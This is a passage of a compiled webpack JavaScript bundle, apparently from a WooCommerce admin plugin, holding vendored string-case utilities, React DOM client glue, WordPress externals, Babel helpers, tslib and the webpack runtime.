tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! tslib */ "../node_modules/tslib/tslib.es6.mjs"); /* harmony import */ var no_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! no-case */ "../node_modules/no-case/dist.es2015/index.js"); function dotCase(input, options) { if (options === void 0) { options = {}; } return (0,no_case__WEBPACK_IMPORTED_MODULE_0__.noCase)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__.__assign)({ delimiter: "." }, options)); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/lower-case/dist.es2015/index.js": /*!*******************************************************!*\ !*** ../node_modules/lower-case/dist.es2015/index.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ localeLowerCase: () => (/* binding */ localeLowerCase), /* harmony export */ lowerCase: () => (/* binding */ lowerCase) /* harmony export */ }); /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/no-case/dist.es2015/index.js": /*!****************************************************!*\ !*** ../node_modules/no-case/dist.es2015/index.js ***! \****************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ noCase: () => (/* binding */ noCase) /* harmony export */ }); /* harmony import */ var lower_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! lower-case */ "../node_modules/lower-case/dist.es2015/index.js"); // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lower_case__WEBPACK_IMPORTED_MODULE_0__.lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/param-case/dist.es2015/index.js": /*!*******************************************************!*\ !*** ../node_modules/param-case/dist.es2015/index.js ***! \*******************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ paramCase: () => (/* binding */ paramCase) /* harmony export */ }); /* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! tslib */ "../node_modules/tslib/tslib.es6.mjs"); /* harmony import */ var dot_case__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! dot-case */ "../node_modules/dot-case/dist.es2015/index.js"); function paramCase(input, options) { if (options === void 0) { options = {}; } return (0,dot_case__WEBPACK_IMPORTED_MODULE_0__.dotCase)(input, (0,tslib__WEBPACK_IMPORTED_MODULE_1__.__assign)({ delimiter: "-" }, options)); } //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/react-dom/client.js": /*!*******************************************!*\ !*** ../node_modules/react-dom/client.js ***! \*******************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var m = __webpack_require__(/*! react-dom */ "react-dom"); if (false) {} else { var i = m.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED; exports.createRoot = function(c, o) { i.usingClientEntryPoint = true; try { return m.createRoot(c, o); } finally { i.usingClientEntryPoint = false; } }; exports.hydrateRoot = function(c, h, o) { i.usingClientEntryPoint = true; try { return m.hydrateRoot(c, h, o); } finally { i.usingClientEntryPoint = false; } }; } /***/ }), /***/ "react": /*!************************!*\ !*** external "React" ***! \************************/ /***/ ((module) => { "use strict"; module.exports = React; /***/ }), /***/ "react-dom": /*!***************************!*\ !*** external "ReactDOM" ***! \***************************/ /***/ ((module) => { "use strict"; module.exports = ReactDOM; /***/ }), /***/ "@woocommerce/admin-layout": /*!*********************************!*\ !*** external "wc.adminLayout" ***! \*********************************/ /***/ ((module) => { "use strict"; module.exports = wc.adminLayout; /***/ }), /***/ "@wordpress/components": /*!********************************!*\ !*** external "wp.components" ***! \********************************/ /***/ ((module) => { "use strict"; module.exports = wp.components; /***/ }), /***/ "@wordpress/core-data": /*!******************************!*\ !*** external "wp.coreData" ***! \******************************/ /***/ ((module) => { "use strict"; module.exports = wp.coreData; /***/ }), /***/ "@wordpress/data": /*!**************************!*\ !*** external "wp.data" ***! \**************************/ /***/ ((module) => { "use strict"; module.exports = wp.data; /***/ }), /***/ "@wordpress/i18n": /*!**************************!*\ !*** external "wp.i18n" ***! \**************************/ /***/ ((module) => { "use strict"; module.exports = wp.i18n; /***/ }), /***/ "@wordpress/plugins": /*!*****************************!*\ !*** external "wp.plugins" ***! \*****************************/ /***/ ((module) => { "use strict"; module.exports = wp.plugins; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js": /*!******************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayLikeToArray.js ***! \******************************************************************/ /***/ ((module) => { function _arrayLikeToArray(r, a) { (null == a || a > r.length) && (a = r.length); for (var e = 0, n = Array(a); e < a; e++) n[e] = r[e]; return n; } module.exports = _arrayLikeToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js": /*!****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayWithHoles.js ***! \****************************************************************/ /***/ ((module) => { function _arrayWithHoles(r) { if (Array.isArray(r)) return r; } module.exports = _arrayWithHoles, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js": /*!***********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/interopRequireDefault.js ***! \***********************************************************************/ /***/ ((module) => { function _interopRequireDefault(e) { return e && e.__esModule ? e : { "default": e }; } module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js": /*!**********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js ***! \**********************************************************************/ /***/ ((module) => { function _iterableToArrayLimit(r, l) { var t = null == r ? null : "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"]; if (null != t) { var e, n, i, u, a = [], f = !0, o = !1; try { if (i = (t = t.call(r)).next, 0 === l) { if (Object(t) !== t) return; f = !1; } else for (; !(f = (e = i.call(t)).done) && (a.push(e.value), a.length !== l); f = !0); } catch (r) { o = !0, n = r; } finally { try { if (!f && null != t["return"] && (u = t["return"](), Object(u) !== u)) return; } finally { if (o) throw n; } } return a; } } module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js": /*!*****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***! \*****************************************************************/ /***/ ((module) => { function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js"); var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"); var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"); var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js"); function _slicedToArray(r, e) { return arrayWithHoles(r) || iterableToArrayLimit(r, e) || unsupportedIterableToArray(r, e) || nonIterableRest(); } module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js": /*!****************************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***! \****************************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js"); function _unsupportedIterableToArray(r, a) { if (r) { if ("string" == typeof r) return arrayLikeToArray(r, a); var t = {}.toString.call(r).slice(8, -1); return "Object" === t && r.constructor && (t = r.constructor.name), "Map" === t || "Set" === t ? Array.from(r) : "Arguments" === t || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t) ? arrayLikeToArray(r, a) : void 0; } } module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/is-plain-object/dist/is-plain-object.mjs": /*!****************************************************************!*\ !*** ../node_modules/is-plain-object/dist/is-plain-object.mjs ***! \****************************************************************/ /***/ ((__unused_webpack___webpack_module__, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ isPlainObject: () => (/* binding */ isPlainObject) /* harmony export */ }); /*! * is-plain-object * * Copyright (c) 2014-2017, Jon Schlinkert. * Released under the MIT License. */ function isObject(o) { return Object.prototype.toString.call(o) === '[object Object]'; } function isPlainObject(o) { var ctor,prot; if (isObject(o) === false) return false; // If has modified constructor ctor = o.constructor; if (ctor === undefined) return true; // If has modified prototype prot = ctor.prototype; if (isObject(prot) === false) return false; // If constructor does not have an Object-specific method if (prot.hasOwnProperty('isPrototypeOf') === false) { return false; } // Most likely a plain Object return true; } /***/ }), /***/ "../node_modules/tslib/tslib.es6.mjs": /*!*******************************************!*\ !*** ../node_modules/tslib/tslib.es6.mjs ***! \*******************************************/ /***/ ((__unused_webpack___webpack_module__, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ __addDisposableResource: () => (/* binding */ __addDisposableResource), /* harmony export */ __assign: () => (/* binding */ __assign), /* harmony export */ __asyncDelegator: () => (/* binding */ __asyncDelegator), /* harmony export */ __asyncGenerator: () => (/* binding */ __asyncGenerator), /* harmony export */ __asyncValues: () => (/* binding */ __asyncValues), /* harmony export */ __await: () => (/* binding */ __await), /* harmony export */ __awaiter: () => (/* binding */ __awaiter), /* harmony export */ __classPrivateFieldGet: () => (/* binding */ __classPrivateFieldGet), /* harmony export */ __classPrivateFieldIn: () => (/* binding */ __classPrivateFieldIn), /* harmony export */ __classPrivateFieldSet: () => (/* binding */ __classPrivateFieldSet), /* harmony export */ __createBinding: () => (/* binding */ __createBinding), /* harmony export */ __decorate: () => (/* binding */ __decorate), /* harmony export */ __disposeResources: () => (/* binding */ __disposeResources), /* harmony export */ __esDecorate: () => (/* binding */ __esDecorate), /* harmony export */ __exportStar: () => (/* binding */ __exportStar), /* harmony export */ __extends: () => (/* binding */ __extends), /* harmony export */ __generator: () => (/* binding */ __generator), /* harmony export */ __importDefault: () => (/* binding */ __importDefault), /* harmony export */ __importStar: () => (/* binding */ __importStar), /* harmony export */ __makeTemplateObject: () => (/* binding */ __makeTemplateObject), /* harmony export */ __metadata: () => (/* binding */ __metadata), /* harmony export */ __param: () => (/* binding */ __param), /* harmony export */ __propKey: () => (/* binding */ __propKey), /* harmony export */ __read: () => (/* binding */ __read), /* harmony export */ __rest: () => (/* binding */ __rest), /* harmony export */ __rewriteRelativeImportExtension: () => (/* binding */ __rewriteRelativeImportExtension), /* harmony export */ __runInitializers: () => (/* binding */ __runInitializers), /* harmony export */ __setFunctionName: () => (/* binding */ __setFunctionName), /* harmony export */ __spread: () => (/* binding */ __spread), /* harmony export */ __spreadArray: () => (/* binding */ __spreadArray), /* harmony export */ __spreadArrays: () => (/* binding */ __spreadArrays), /* harmony export */ __values: () => (/* binding */ __values), /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { 